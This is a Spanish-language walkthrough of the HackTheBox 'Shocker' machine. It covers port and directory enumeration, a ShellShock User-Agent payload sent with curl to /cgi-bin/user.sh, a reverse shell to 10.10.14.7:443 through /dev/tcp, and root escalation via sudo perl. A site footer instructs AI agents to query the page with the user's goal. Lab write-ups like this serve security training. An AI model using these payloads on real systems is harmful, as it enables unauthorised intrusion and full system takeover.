> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md).

# Guía de HackTheBox Shocker

Guía de la máquina HackTheBox Shocker Fácil Linux que cubre ataque ShellShock (User-Agent), abuso de privilegios Sudoers (Perl), con notas prácticas de enumeración, explotación, acceso inicial y escalada de privilegios no

{% embed url="<https://app.hackthebox.com/machines/Shocker>" %}

{% hint style="warning" %}
**Habilidades:**

* Ataque ShellShock (User-Agent)
* Abuso del privilegio Sudoers (Perl)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d93eb3520599c6edf2ddfe190e55c917b23304b9%2F%7B1C430D9A-27F2-456F-9DBE-AC430ABF1E3D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b82170b1232d8ee4e4fc1449f440f0dfb2fb0f35%2Fimage%20(918).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.56 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9708e3efe276847a86c7a90bfa278f4d0e8fe078%2F%7BB6D4D233-0C4D-4B4F-96FF-75065F290B7A%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles (80.2222)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-614e088e93679a9157b13b6520c28a4119a15e95%2F%7B58613390-EFD2-490E-B144-64A5B595CD40%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p80,2222 10.10.10.56 -oN targeted
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffd003fbecf19adc44c4e1d920c4200c447989b9%2Fimage%20(919).png?alt=media" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec4d6fa4ae9a50b62e154bd68f0e289c7782bcd4%2Fimage%20(920).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Enumeración de directorios

Usamos **WFuzz** para identificar directorios accesibles:

```bash
wfuzz -c -t 200 --hc=404 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.10.56/FUZZ/ | grep -v "#"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8de93b7974f32e974ff290eee66788077ef75704%2Fimage%20(921).png?alt=media" alt=""><figcaption></figcaption></figure>

Esto revela el **cgi-bin** directorio, a menudo asociado con scripts explotables.

## Vulnerabilidad ShellShock

#### Buscar archivos explotables

Filtramos archivos con extensiones como `.sh`, `.pl`, o `.cgi`:

```bash
wfuzz -c -t 200 --hc=404,403 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,sh-pl-cgi http://10.10.10.56/cgi-bin/FUZZ.FUZ2Z
```

El **user.sh** se identifica el archivo. Este script parece dinámico y puede ser vulnerable.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-67d8f20e7e89b7fae5744dd36c57b69b20271c6a%2Fimage%20(922).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Detección de vulnerabilidad

Usamos el siguiente script de Nmap para probar la vulnerabilidad:

```bash
nmap --script http-shellshock --script-args uri=/cgi-bin/user.sh -p80 10.10.10.56
```

El escaneo confirma que el **user.sh** archivo es vulnerable a ShellShock.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b2749307e257cec99b3e1c2ba071f283918c167%2Fimage%20(924).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Cumplimiento de pedidos

Para probar la ejecución de comandos, usamos **curl** con un User-Agent malicioso:

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"
```

Esto devuelve el nombre de usuario activo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fab2f29494a8dbe0daee95b2941e12397defd75d%2Fimage%20(925).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Shell inversa

Para obtener una shell inversa:

1. Escuche en el puerto 443:

```bash
nc -nlvp 443
```

2. Inyecta la siguiente carga útil:

{% code overflow="wrap" %}

```bash
-H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

{% endcode %}

```bash
curl -s -X GET "http://10.10.10.56/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.7/443 0>&1'"
```

<div data-full-width="true"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-662750d5165fbb6e1e779b63d9a544a620001642%2Fimage%20(926).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Bandera user.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b58fbcf8819a8d6110463895360a39b3119e926%2Fimage%20(927).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### Sudoers - Perl

Al analizar **los derechos de** Sudoers, observamos que el usuario tiene permiso para ejecutar `perl` como **root**. Esto se puede verificar con el siguiente comando:

```bash
sudo -l 
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca43271ce027ea512dc19f2c34f9e97a0cebdb15%2F%7BC9C8788B-FA82-4310-8975-BB72BD892772%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Explotación

Para explotar esta configuración y obtener una shell con privilegios de root, simplemente inyecta el siguiente comando:

{% embed url="<https://gtfobins.github.io/gtfobins/perl/#sudo>" %}

```bash
sudo /usr/bin/perl -e 'exec "/bin/sh";'
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcd7b8b225cb58b631c67af204ee0d65bd99782a%2Fimage%20(928).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d365b57b0b8970bf5e87a6b6c0dcf64793e8061%2Fimage%20(929).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c8cc57387d1f8b07e6a00359f861578ea78321a%2F%7B432DFD2D-D92E-4AE4-9971-EF602F58FA92%7D.png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/shocker-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
